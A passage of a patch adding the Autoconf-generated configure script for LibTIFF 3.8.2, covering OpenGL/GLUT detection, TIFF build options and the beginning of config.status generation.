+  GLUT_LIBS="-framework GLUT -lobjc ${GL_LIBS}"
+else
+  GLUT_CFLAGS=${GLU_CFLAGS}
+  GLUT_LIBS=${GLU_LIBS}
+
+  #
+  # If X is present, assume GLUT depends on it.
+  #
+  if test "X${no_x}" != "Xyes"; then
+    GLUT_LIBS="${X_PRE_LIBS} -lXmu -lXi ${X_EXTRA_LIBS} ${GLUT_LIBS}"
+  fi
+
+  ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+  ax_save_CPPFLAGS="${CPPFLAGS}"
+  CPPFLAGS="${GLUT_CFLAGS} ${CPPFLAGS}"
+
+  echo "$as_me:$LINENO: checking for GLUT library" >&5
+echo $ECHO_N "checking for GLUT library... $ECHO_C" >&6
+if test "${ax_cv_check_glut_libglut+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ax_cv_check_glut_libglut="no"
+  ax_save_LIBS="${LIBS}"
+  LIBS=""
+  ax_check_libs="-lglut32 -lglut"
+  for ax_lib in ${ax_check_libs}; do
+    if test X$ax_compiler_ms = Xyes; then
+      ax_try_lib=`echo $ax_lib | sed -e 's/^-l//' -e 's/$/.lib/'`
+    else
+      ax_try_lib="${ax_lib}"
+    fi
+    LIBS="${ax_try_lib} ${GLUT_LIBS} ${ax_save_LIBS}"
+    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+# if HAVE_WINDOWS_H && defined(_WIN32)
+#   include <windows.h>
+# endif
+# include <GL/glut.h>
+int
+main ()
+{
+glutMainLoop()
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ax_cv_check_glut_libglut="${ax_try_lib}"; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+
+  done
+  LIBS=${ax_save_LIBS}
+
+fi
+echo "$as_me:$LINENO: result: $ax_cv_check_glut_libglut" >&5
+echo "${ECHO_T}$ax_cv_check_glut_libglut" >&6
+  CPPFLAGS="${ax_save_CPPFLAGS}"
+  ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+  if test "X${ax_cv_check_glut_libglut}" = "Xno"; then
+    no_glut="yes"
+    GLUT_CFLAGS=""
+    GLUT_LIBS=""
+  else
+    GLUT_LIBS="${ax_cv_check_glut_libglut} ${GLUT_LIBS}"
+  fi
+fi
+
+
+
+
+
+if test "$no_x" != "yes" -a "$no_gl" != "yes" \
+	-a "$no_glu" != "yes" -a "$no_glut" != "yes" ; then
+  HAVE_OPENGL=yes
+fi
+
+
+
+if test "$HAVE_OPENGL" = "yes"; then
+  HAVE_OPENGL_TRUE=
+  HAVE_OPENGL_FALSE='#'
+else
+  HAVE_OPENGL_TRUE='#'
+  HAVE_OPENGL_FALSE=
+fi
+
+
+
+
+# Check whether --enable-strip-chopping or --disable-strip-chopping was given.
+if test "${enable_strip_chopping+set}" = set; then
+  enableval="$enable_strip_chopping"
+  HAVE_STRIPCHOP=$enableval
+else
+  HAVE_STRIPCHOP=yes
+fi;
+
+# Check whether --with-default-strip-size or --without-default-strip-size was given.
+if test "${with_default_strip_size+set}" = set; then
+  withval="$with_default_strip_size"
+
+fi;
+
+if test "$HAVE_STRIPCHOP" = "yes" \
+	-a "x$with_default_strip_size" != "xno"; then
+
+cat >>confdefs.h <<\_ACEOF
+#define STRIPCHOP_DEFAULT TIFF_STRIPCHOP
+_ACEOF
+
+
+  if test "x$with_default_strip_size" = "x" \
+	  -o "x$with_default_strip_size" = "xyes"; then
+    with_default_strip_size="8192"
+  fi
+
+
+cat >>confdefs.h <<_ACEOF
+#define STRIP_SIZE_DEFAULT $with_default_strip_size
+_ACEOF
+
+
+fi
+
+
+cat >>confdefs.h <<\_ACEOF
+#define SUBIFD_SUPPORT 1
+_ACEOF
+
+
+
+# Check whether --enable-extrasample-as-alpha or --disable-extrasample-as-alpha was given.
+if test "${enable_extrasample_as_alpha+set}" = set; then
+  enableval="$enable_extrasample_as_alpha"
+  HAVE_EXTRASAMPLE_AS_ALPHA=$enableval
+else
+  HAVE_EXTRASAMPLE_AS_ALPHA=yes
+fi;
+
+if test "$HAVE_EXTRASAMPLE_AS_ALPHA" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define DEFAULT_EXTRASAMPLE_AS_ALPHA 1
+_ACEOF
+
+fi
+
+
+# Check whether --enable-check-ycbcr-subsampling or --disable-check-ycbcr-subsampling was given.
+if test "${enable_check_ycbcr_subsampling+set}" = set; then
+  enableval="$enable_check_ycbcr_subsampling"
+  CHECK_JPEG_YCBCR_SUBSAMPLING=$enableval
+else
+  CHECK_JPEG_YCBCR_SUBSAMPLING=yes
+fi;
+
+if test "$CHECK_JPEG_YCBCR_SUBSAMPLING" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define CHECK_JPEG_YCBCR_SUBSAMPLING 1
+_ACEOF
+
+fi
+
+
+
+
+                    ac_config_headers="$ac_config_headers libtiff/tif_config.h libtiff/tiffconf.h"
+
+
+                                                                                                                                                                                                                                                ac_config_files="$ac_config_files Makefile contrib/Makefile contrib/acorn/Makefile contrib/addtiffo/Makefile contrib/dbs/Makefile contrib/dbs/xtiff/Makefile contrib/iptcutil/Makefile contrib/mac-cw/Makefile contrib/mac-mpw/Makefile contrib/mfs/Makefile contrib/ojpeg/Makefile contrib/pds/Makefile contrib/ras/Makefile contrib/stream/Makefile contrib/tags/Makefile contrib/win_dib/Makefile html/Makefile html/images/Makefile html/man/Makefile libtiff/Makefile man/Makefile port/Makefile test/Makefile tools/Makefile"
+
+cat >confcache <<\_ACEOF
+# This file is a shell script that caches the results of configure
+# tests run on this system so they can be shared between configure
+# scripts and configure runs, see configure's option --config-cache.
+# It is not useful on other systems.  If it contains results you don't
+# want to keep, you may remove or edit it.
+#
+# config.status only pays attention to the cache file if you give it
+# the --recheck option to rerun configure.
+#
+# `ac_cv_env_foo' variables (set or unset) will be overridden when
+# loading this file, other *unset* `ac_cv_foo' will be assigned the
+# following values.
+
+_ACEOF
+
+# The following way of writing the cache mishandles newlines in values,
+# but we know of no workaround that is simple, portable, and efficient.
+# So, don't put newlines in cache variables' values.
+# Ultrix sh set writes to stderr and can't be redirected directly,
+# and sets the high bit in the cache file unless we assign to the vars.
+{
+  (set) 2>&1 |
+    case `(ac_space=' '; set | grep ac_space) 2>&1` in
+    *ac_space=\ *)
+      # `set' does not quote correctly, so add quotes (double-quote
+      # substitution turns \\\\ into \\, and sed turns \\ into \).
+      sed -n \
+	"s/'/'\\\\''/g;
+	  s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p"
+      ;;
+    *)
+      # `set' quotes correctly as required by POSIX, so do not add quotes.
+      sed -n \
+	"s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p"
+      ;;
+    esac;
+} |
+  sed '
+     t clear
+     : clear
+     s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/
+     t end
+     /^ac_cv_env/!s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/
+     : end' >>confcache
+if diff $cache_file confcache >/dev/null 2>&1; then :; else
+  if test -w $cache_file; then
+    test "x$cache_file" != "x/dev/null" && echo "updating cache $cache_file"
+    cat confcache >$cache_file
+  else
+    echo "not updating unwritable cache $cache_file"
+  fi
+fi
+rm -f confcache
+
+test "x$prefix" = xNONE && prefix=$ac_default_prefix
+# Let make expand exec_prefix.
+test "x$exec_prefix" = xNONE && exec_prefix='${prefix}'
+
+# VPATH may cause trouble with some makes, so we remove $(srcdir),
+# ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and
+# trailing colons and then remove the whole line if VPATH becomes empty
+# (actually we leave an empty line to preserve line numbers).
+if test "x$srcdir" = x.; then
+  ac_vpsub='/^[	 ]*VPATH[	 ]*=/{
+s/:*\$(srcdir):*/:/;
+s/:*\${srcdir}:*/:/;
+s/:*@srcdir@:*/:/;
+s/^\([^=]*=[	 ]*\):*/\1/;
+s/:*$//;
+s/^[^=]*=[	 ]*$//;
+}'
+fi
+
+DEFS=-DHAVE_CONFIG_H
+
+ac_libobjs=
+ac_ltlibobjs=
+for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue
+  # 1. Remove the extension, and $U if already installed.
+  ac_i=`echo "$ac_i" |
+	 sed 's/\$U\././;s/\.o$//;s/\.obj$//'`
+  # 2. Add them.
+  ac_libobjs="$ac_libobjs $ac_i\$U.$ac_objext"
+  ac_ltlibobjs="$ac_ltlibobjs $ac_i"'$U.lo'
+done
+LIBOBJS=$ac_libobjs
+
+LTLIBOBJS=$ac_ltlibobjs
+
+
+if test -z "${MAINTAINER_MODE_TRUE}" && test -z "${MAINTAINER_MODE_FALSE}"; then
+  { { echo "$as_me:$LINENO: error: conditional \"MAINTAINER_MODE\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"MAINTAINER_MODE\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then
+  { { echo "$as_me:$LINENO: error: conditional \"AMDEP\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"AMDEP\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then
+  { { echo "$as_me:$LINENO: error: conditional \"am__fastdepCC\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"am__fastdepCC\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+if test -z "${HAVE_RPATH_TRUE}" && test -z "${HAVE_RPATH_FALSE}"; then
+  { { echo "$as_me:$LINENO: error: conditional \"HAVE_RPATH\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"HAVE_RPATH\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+if test -z "${HAVE_CXX_TRUE}" && test -z "${HAVE_CXX_FALSE}"; then
+  { { echo "$as_me:$LINENO: error: conditional \"HAVE_CXX\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"HAVE_CXX\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+if test -z "${am__fastdepCXX_TRUE}" && test -z "${am__fastdepCXX_FALSE}"; then
+  { { echo "$as_me:$LINENO: error: conditional \"am__fastdepCXX\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"am__fastdepCXX\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+if test -z "${am__fastdepCXX_TRUE}" && test -z "${am__fastdepCXX_FALSE}"; then
+  { { echo "$as_me:$LINENO: error: conditional \"am__fastdepCXX\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"am__fastdepCXX\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+if test -z "${HAVE_OPENGL_TRUE}" && test -z "${HAVE_OPENGL_FALSE}"; then
+  { { echo "$as_me:$LINENO: error: conditional \"HAVE_OPENGL\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"HAVE_OPENGL\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+
+: ${CONFIG_STATUS=./config.status}
+ac_clean_files_save=$ac_clean_files
+ac_clean_files="$ac_clean_files $CONFIG_STATUS"
+{ echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5
+echo "$as_me: creating $CONFIG_STATUS" >&6;}
+cat >$CONFIG_STATUS <<_ACEOF
+#! $SHELL
+# Generated by $as_me.
+# Run this file to recreate the current configuration.
+# Compiler output produced by configure, useful for debugging
+# configure, is in config.log if it exists.
+
+debug=false
+ac_cs_recheck=false
+ac_cs_silent=false
+SHELL=\${CONFIG_SHELL-$SHELL}
+_ACEOF
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+## --------------------- ##
+## M4sh Initialization.  ##
+## --------------------- ##
+
+# Be Bourne compatible
+if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+  emulate sh
+  NULLCMD=:
+  # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which
+  # is contrary to our usage.  Disable this feature.
+  alias -g '${1+"$@"}'='"$@"'
+elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then
+  set -o posix
+fi
+DUALCASE=1; export DUALCASE # for MKS sh
+
+# Support unset when possible.
+if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then
+  as_unset=unset
+else
+  as_unset=false
+fi
+
+
+# Work around bugs in pre-3.0 UWIN ksh.
+$as_unset ENV MAIL MAILPATH
+PS1='$ '
+PS2='> '
+PS4='+ '
+
+# NLS nuisances.
+for as_var in \
+  LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
+  LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
+  LC_TELEPHONE LC_TIME
+do
+  if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then
+    eval $as_var=C; export $as_var
+  else
+    $as_unset $as_var
+  fi
+done
+
+# Required to use basename.
+if expr a : '\(a\)' >/dev/null 2>&1; then
+  as_expr=expr
+else
+  as_expr=false
+fi
+
+if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then
+  as_basename=basename
+else
+  as_basename=false
+fi
+
+
+# Name of the executable.
+as_me=`$as_basename "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+	 X"$0" : 'X\(//\)$' \| \
+	 X"$0" : 'X\(/\)$' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X/"$0" |
+    sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; }
+  	  /^X\/\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\/\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+
+
+# PATH needs CR, and LINENO needs CR and PATH.
+# Avoid depending upon Character Ranges.
+as_cr_letters='abcdefghijklmnopqrstuvwxyz'
+as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+as_cr_Letters=$as_cr_letters$as_cr_LETTERS
+as_cr_digits='0123456789'
+as_cr_alnum=$as_cr_Letters$as_cr_digits
+
+# The user is always right.
+if test "${PATH_SEPARATOR+set}" != set; then
+  echo "#! /bin/sh" >conf$$.sh
+  echo  "exit 0"   >>conf$$.sh
+  chmod +x conf$$.sh
+  if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then
+    PATH_SEPARATOR=';'
+  else
+    PATH_SEPARATOR=:
+  fi
+  rm -f conf$$.sh
+fi
+
+
+  as_lineno_1=$LINENO
+  as_lineno_2=$LINENO
+  as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+  test "x$as_lineno_1" != "x$as_lineno_2" &&
+  test "x$as_lineno_3"  = "x$as_lineno_2"  || {
+  # Find who we are.  Look in the path if we contain no path at all
+  # relative or not.
+  case $0 in
+    *[\\/]* ) as_myself=$0 ;;
+    *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break
+done
+
+       ;;
+  esac
+  # We did not find ourselves, most probably we were run as `sh COMMAND'
+  # in which case we are not to be found in the path.
+  if test "x$as_myself" = x; then
+    as_myself=$0
+  fi
+  if test ! -f "$as_myself"; then
+    { { echo "$as_me:$LINENO: error: cannot find myself; rerun with an absolute path" >&5
+echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2;}
+   { (exit 1); exit 1; }; }
+  fi
+  case $CONFIG_SHELL in
+  '')
+    as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for as_base in sh bash ksh sh5; do
+	 case $as_dir in
+	 /*)
+	   if ("$as_dir/$as_base" -c '
+  as_lineno_1=$LINENO
+  as_lineno_2=$LINENO
+  as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+  test "x$as_lineno_1" != "x$as_lineno_2" &&
+  test "x$as_lineno_3"  = "x$as_lineno_2" ') 2>/dev/null; then
+	     $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; }
+	     $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; }
+	     CONFIG_SHELL=$as_dir/$as_base
+	     export CONFIG_SHELL
+	     exec "$CONFIG_SHELL" "$0" ${1+"$@"}
+	   fi;;
+	 esac
+       done
+done
+;;
+  esac
+
+  # Create $as_me.lineno as a copy of $as_myself, but with $LINENO
+  # uniformly replaced by the line number.  The first 'sed' inserts a
+  # line-number line before each line; the second 'sed' does the real
+  # work.  The second script uses 'N' to pair each line-number line
+  # with the numbered line, and appends trailing '-' during
+  # substitution so that $LINENO is not a special case at line end.
+  # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the
+  # second 'sed' script.  Blame Lee E. McMahon for sed's syntax.  :-)
+  sed '=' <$as_myself |
+    sed '
+      N
+      s,$,-,
+      : loop
+      s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3,
+      t loop
+      s,-$,,
+      s,^['$as_cr_digits']*\n,,
+    ' >$as_me.lineno &&
+  chmod +x $as_me.lineno ||
+    { { echo "$as_me:$LINENO: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&5
+echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2;}
+   { (exit 1); exit 1; }; }
+
+  # Don't try to exec as it changes $[0], causing all sort of problems
+  # (the dirname of $[0] is not the place where we might find the
+  # original and so on.  Autoconf is especially sensible to this).
+  . ./$as_me.lineno
+  # Exit status is that of the last command.
+  exit
+}
+
+
+case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in
+  *c*,-n*) ECHO_N= ECHO_C='
+' ECHO_T='	' ;;
+  *c*,*  ) ECHO_N=-n ECHO_C= ECHO_T= ;;
+  *)       ECHO_N= ECHO_C='\c' ECHO_T= ;;
+esac
+
+if expr a : '\(a\)' >/dev/null 2>&1; then
+  as_expr=expr
+else
+  as_expr=false
+fi
+
+rm -f conf$$ conf$$.exe conf$$.file
+echo >conf$$.file
+if ln -s conf$$.file conf$$ 2>/dev/null; then
+  # We could just check for DJGPP; but this test a) works b) is more generic
+  # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04).
+  if test -f conf$$.exe; then
+    # Don't use ln at all; we don't have any links
+    as_ln_s='cp -p'
+  else
+    as_ln_s='ln -s'
+  fi
+elif ln conf$$.file conf$$ 2>/dev/null; then
+  as_ln_s=ln
+else
+  as_ln_s='cp -p'
+fi
+rm -f conf$$ conf$$.exe conf$$.file
+
+if mkdir -p . 2>/dev/null; then
+  as_mkdir_p=:
+else
+  test -d ./-p && rmdir ./-p
+  as_mkdir_p=false
+fi
+
+as_executable_p="test -f"
+
+# Sed expression to map a string onto a valid CPP name.
+as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'"
+
+# Sed expression to map a string onto a valid variable name.
+as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'"
+
+
+# IFS
+# We need space, tab and new line, in precisely that order.
+as_nl='
+'
+IFS=" 	$as_nl"
+
+# CDPATH.
+$as_unset CDPATH
+
+exec 6>&1
+
+# Open the log real soon, to keep \$[0] and so on meaningful, and to
+# report actual input values of CONFIG_FILES etc. instead of their
+# values after options handling.  Logging --version etc. is OK.
+exec 5>>config.log
+{
+  echo
+  sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX
+## Running $as_me. ##
+_ASBOX
+} >&5
+cat >&5 <<_CSEOF
+
+This file was extended by LibTIFF Software $as_me 3.8.2, which was
+generated by GNU Autoconf 2.59.  Invocation command line was
+
+  CONFIG_FILES    = $CONFIG_FILES
+  CONFIG_HEADERS  = $CONFIG_HEADERS
+  CONFIG_LINKS    = $CONFIG_LINKS
+  CONFIG_COMMANDS = $CONFIG_COMMANDS
+  $ $0 $@
+
+_CSEOF
+echo "on `(hostname || uname -n) 2>/dev/null | sed 1q`" >&5
+echo >&5
+_ACEOF
+
+# Files that config.status was made for.
+if test -n "$ac_config_files"; then
+  echo "config_files=\"$ac_config_files\"" >>$CONFIG_STATUS
+fi
+
+if test -n "$ac_config_headers"; then
+  echo "config_headers=\"$ac_config_headers\"" >>$CONFIG_STATUS
+fi
+
+if test -n "$ac_config_links"; then
+  echo "config_links=\"$ac_config_links\"" >>$CONFIG_STATUS
+fi
+
+if test -n "$ac_config_commands"; then
+  echo "config_commands=\"$ac_config_commands\"" >>$CONFIG_STATUS
+fi
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+ac_cs_usage="\
+\`$as_me' instantiates files from templates according to the
+current configuration.
+
+Usage: $0 [OPTIONS] [FILE]...
+
+  -h, --help       print this help, then exit
+  -V, --version    print version number, then exit
+  -q, --quiet      do not print progress messages
+  -d, --debug      don't remove temporary files
+      --recheck    update $as_me by reconfiguring in the same conditions
+  --file=FILE[:TEMPLATE]
+		   instantiate the configuration file FILE
+  --header=FILE[:TEMPLATE]
+		   instantiate the configuration header FILE
+
+Configuration files:
+$config_files
+
+Configuration headers:
+$config_headers
+
+Configuration commands:
+$config_commands
+
+Report bugs to <bug-autoconf@gnu.org>."
+_ACEOF
+
+cat >>$CONFIG_STATUS <<_ACEOF
+ac_cs_version="\\
+LibTIFF Software config.status 3.8.2
+configured by $0, generated by GNU Autoconf 2.59,
+  with options \\"`echo "$ac_configure_args" | sed 's/[\\""\`\$]/\\\\&/g'`\\"
+
+Copyright (C) 2003 Free Software Foundation, Inc.
+This config.status script is free software; the Free Software Foundation
+gives unlimited permission to copy, distribute and modify it."
+srcdir=$srcdir
+INSTALL="$INSTALL"
+_ACEOF
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+# If no file are specified by the user, then we need to provide default
+# value.  By we need to know if files were specified by the user.
+ac_need_defaults=:
+while test $# != 0
+do
+  case $1 in
+  --*=*)
+    ac_option=`expr "x$1" : 'x\([^=]*\)='`
+    ac_optarg=`expr "x$1" : 'x[^=]*=\(.*\)'`
+    ac_shift=:
+    ;;
+  -*)
+    ac_option=$1
+    ac_optarg=$2
+    ac_shift=shift
+    ;;
+  *) # This is not an option, so the user has probably given explicit
+     # arguments.
+     ac_option=$1
+     ac_need_defaults=false;;
+  esac
+
+  case $ac_option in
+  # Handling of the options.
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+  -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r)
+    ac_cs_recheck=: ;;
+  --version | --vers* | -V )
+    echo "$ac_cs_version"; exit 0 ;;
+  --he | --h)
+    # Conflict between --help and --header
+    { { echo "$as_me:$LINENO: error: ambiguous option: $1
+Try \`$0 --help' for more information." >&5
+echo "$as_me: error: ambiguous option: $1
+Try \`$0 --help' for more information." >&2;}
+   { (exit 1); exit 1; }; };;
+  --help | --hel | -h )
+    echo "$ac_cs_usage"; exit 0 ;;
+  --debug | --d* | -d )
+    debug=: ;;
+  --file | --fil | --fi | --f )
+    $ac_shift
+    CONFIG_FILES="$CONFIG_FILES $ac_optarg"
+    ac_need_defaults=false;;
+  --header | --heade | --head | --hea )
+    $ac_shift
+    CONFIG_HEADERS="$CONFIG_HEADERS $ac_optarg"
+    ac_need_defaults=false;;
+  -q | -quiet | --quiet | --quie | --qui | --qu | --q \
+  | -silent | --silent | --silen | --sile | --sil | --si | --s)
+    ac_cs_silent=: ;;
+
+  # This is an error.
+  -*) { { echo "$as_me:$LINENO: error: unrecognized option: $1
+Try \`$0 --help' for more information." >&5
+echo "$as_me: error: unrecognized option: $1
+Try \`$0 --help' for more information." >&2;}
+   { (exit 1); exit 1; }; } ;;
+
+  *) ac_config_targets="$ac_config_targets $1" ;;
+
+  esac
+  shift
+done
+
+ac_configure_extra_args=
+
+if $ac_cs_silent; then
+  exec 6>/dev/null
+  ac_configure_extra_args="$ac_configure_extra_args --silent"
+fi
+
+_ACEOF
+cat >>$CONFIG_STATUS <<_ACEOF
+if \$ac_cs_recheck; then
+  echo "running $SHELL $0 " $ac_configure_args \$ac_configure_extra_args " --no-create --no-recursion" >&6
+  exec $SHELL $0 $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion
+fi
+
+_ACEOF
+
+cat >>$CONFIG_STATUS <<_ACEOF
+#
+# INIT-COMMANDS section.
+#
+
+AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"
+
+
+# The HP-UX ksh and POSIX shell print the target directory to stdout
+# if CDPATH is set.
+(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
+
+sed_quote_subst='$sed_quote_subst'
+double_quote_subst='$double_quote_subst'
+delay_variable_subst='$delay_variable_subst'
+macro_version='`$ECHO "X$macro_version" | $Xsed -e "$delay_single_quote_subst"`'
+macro_revision='`$ECHO "X$macro_revision" | $Xsed -e "$delay_single_quote_subst"`'
+enable_shared='`$ECHO "X$enable_shared" | $Xsed -e "$delay_single_quote_subst"`'
+enable_static='`$ECHO "X$enable_static" | $Xsed -e "$delay_single_quote_subst"`'
+pic_mode='`$ECHO "X$pic_mode" | $Xsed -e "$delay_single_quote_subst"`'
+enable_fast_install='`$ECHO "X$enable_fast_install" | $Xsed -e "$delay_single_quote_subst"`'
+host_alias='`$ECHO "X$host_alias" | $Xsed -e "$delay_single_quote_subst"`'
+host='`$ECHO "X$host" | $Xsed -e "$delay_single_quote_subst"`'
+host_os='`$ECHO "X$host_os" | $Xsed -e "$delay_single_quote_subst"`'
+build_alias='`$ECHO "X$build_alias" | $Xsed -e "$delay_single_quote_subst"`'
+build='`$ECHO "X$build" | $Xsed -e "$delay_single_quote_subst"`'
+build_os='`$ECHO "X$build_os" | $Xsed -e "$delay_single_quote_subst"`'
+SED='`$ECHO "X$SED" | $Xsed -e "$delay_single_quote_subst"`'
+Xsed='`$ECHO "X$Xsed" | $Xsed -e "$delay_single_quote_subst"`'
+GREP='`$ECHO "X$GREP" | $Xsed -e "$delay_single_quote_subst"`'
+EGREP='`$ECHO "X$EGREP" | $Xsed -e "$delay_single_quote_subst"`'
+FGREP='`$ECHO "X$FGREP" | $Xsed -e "$delay_single_quote_subst"`'
+LD='`$ECHO "X$LD" | $Xsed -e "$delay_single_quote_subst"`'
+NM='`$ECHO "X$NM" | $Xsed -e "$delay_single_quote_subst"`'
+LN_S='`$ECHO "X$LN_S" | $Xsed -e "$delay_single_quote_subst"`'
+max_cmd_len='`$ECHO "X$max_cmd_len" | $Xsed -e "$delay_single_quote_subst"`'
+ac_objext='`$ECHO "X$ac_objext" | $Xsed -e "$delay_single_quote_subst"`'
+exeext='`$ECHO "X$exeext" | $Xsed -e "$delay_single_quote_subst"`'
+reload_flag='`$ECHO "X$reload_flag" | $Xsed -e "$delay_single_quote_subst"`'
+reload_cmds='`$ECHO "X$reload_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+deplibs_check_method='`$ECHO "X$deplibs_check_method" | $Xsed -e "$delay_single_quote_subst"`'
+file_magic_cmd='`$ECHO "X$file_magic_cmd" | $Xsed -e "$delay_single_quote_subst"`'
